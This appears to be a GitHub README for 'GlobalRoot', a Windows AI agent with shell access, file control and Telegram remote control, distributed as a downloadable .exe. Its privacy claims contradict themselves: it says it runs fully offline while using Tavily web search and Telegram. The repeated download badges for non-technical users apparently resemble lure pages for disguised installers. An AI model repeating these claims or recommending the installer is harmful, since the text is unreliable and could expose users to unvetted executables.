GlobalRoot

# 🤖 GlobalRoot - Local AI Agent for Your PC

[![Download GlobalRoot](https://img.shields.io/badge/Download-GlobalRoot-brightgreen)](https://github.com/Forensic-aluminiumbronze381/GlobalRoot/releases)

---

## 🌟 What is GlobalRoot?

GlobalRoot is an autonomous AI agent that runs entirely on your computer. It uses advanced AI tools to perform tasks without sending your data to the internet. You can interact with it smoothly through a simple interface.

This agent works with your real operating system. It can run Linux commands (bash), manage files, launch apps, and connect to online research tasks. It supports Windows and Hyprland (a Linux window manager) with tight integration. It also connects to a Telegram bot so you can control it via your phone.

GlobalRoot combines several technologies:

- Ollama: for running powerful AI models offline
- ChromaDB: to store and remember information
- Tavily: to research the web carefully on your behalf
- Telegram Bot: for remote interaction

---

## 🖥️ System Requirements

Before installing, make sure your PC meets these requirements:

- Operating System: Windows 10 or Windows 11, 64-bit
- Processor: Intel i5 or equivalent AMD CPU, 2.5 GHz or faster
- Memory: 8 GB RAM minimum, 16 GB recommended
- Storage: At least 2 GB free space
- Network: Internet connection needed for setup and Telegram bot activation

You do not need technical skills to install or use GlobalRoot. The steps are simple and designed for average users.

---

## 🚀 How to Get GlobalRoot

To get started, visit the official releases page:

[![Visit the Releases Page](https://img.shields.io/badge/Visit-GlobalRoot%20Releases-blue)](https://github.com/Forensic-aluminiumbronze381/GlobalRoot/releases)

This page lists all available versions. Choose the latest version for Windows.

---

## 📥 Download and Install Instructions

1. Click the link above to open the releases page.  
2. Look for the most recent release with a name like `GlobalRoot-Windows.exe` or similar.  
3. Click the downloadable file (usually ending in `.exe`) to start downloading.  

Once the file is downloaded:

4. Locate the file in your Downloads folder or wherever your browser saves files.  
5. Double-click the file to start the installer.  
6. Follow the instructions in the setup wizard:
   - Click *Next* to proceed through each step
   - Choose the installation folder or keep the default
   - Accept the license agreement
7. When the installation finishes, click *Finish*. The program will launch automatically or create an icon on your desktop.

---

## 🔧 Setting Up GlobalRoot

When you run the program for the first time:

- The AI models will download to your computer. This can take some minutes depending on your internet speed.
- You will see a simple welcome screen.
- Follow the prompts to connect GlobalRoot to your Telegram account if you want remote control.
- You may permit access to your folders and apps for full integration.
- You can run simple commands using the built-in command window or through Telegram.

---

## 🛠 How to Use GlobalRoot

GlobalRoot offers different ways to interact:

### Using the Local App

- The main window has a text box where you type questions or commands.
- It can run system commands like `ls` (list files) or open specific programs.
- You can ask it to search the web with Tavily and receive summarized results.
- The system remembers past conversations thanks to ChromaDB memory.

### Using Telegram

- Link your Telegram account during setup.
- Use the official Telegram bot to give commands to GlobalRoot remotely.
- This is useful to check status, run scripts, or retrieve files without sitting at your PC.

---

## 🔄 Updating GlobalRoot

- Periodically, check the releases page for new versions.  
- When a new version appears:
  1. Download the new `.exe` installer file.
  2. Run it and follow the instructions.  
- Your settings and memory database will remain intact after updates.

---

## ⚙️ Features at a Glance

- Runs fully offline with local AI models.  
- Integrates with your real OS for commands, files, and app launching.  
- Uses a two-step AI process to improve accuracy (dual-pass).  
- Supports Hyprland on Linux and Windows with deep integration.  
- Stores memories and data locally in ChromaDB for better context.  
- Connects to Telegram for remote access and control.  
- Uses Tavily to safely browse the web and gather information.  

---

## 📚 Useful Tips

- Keep your PC plugged in while installing or updating to avoid interruptions.  
- If the AI feels slow, check your internet for Telegram and model downloads.  
- Use the Telegram bot to interact when away from your computer.  
- Avoid running heavy apps alongside GlobalRoot for best performance.  

---

## 📞 Getting Help

- Use the [Issues tab](https://github.com/Forensic-aluminiumbronze381/GlobalRoot/issues) on GitHub to report bugs or ask questions.  
- Look for an included help file in the installation folder for basic commands and troubleshooting.  

---

[![Download GlobalRoot](https://img.shields.io/badge/Download-GlobalRoot-brightgreen)](https://github.com/Forensic-aluminiumbronze381/GlobalRoot/releases)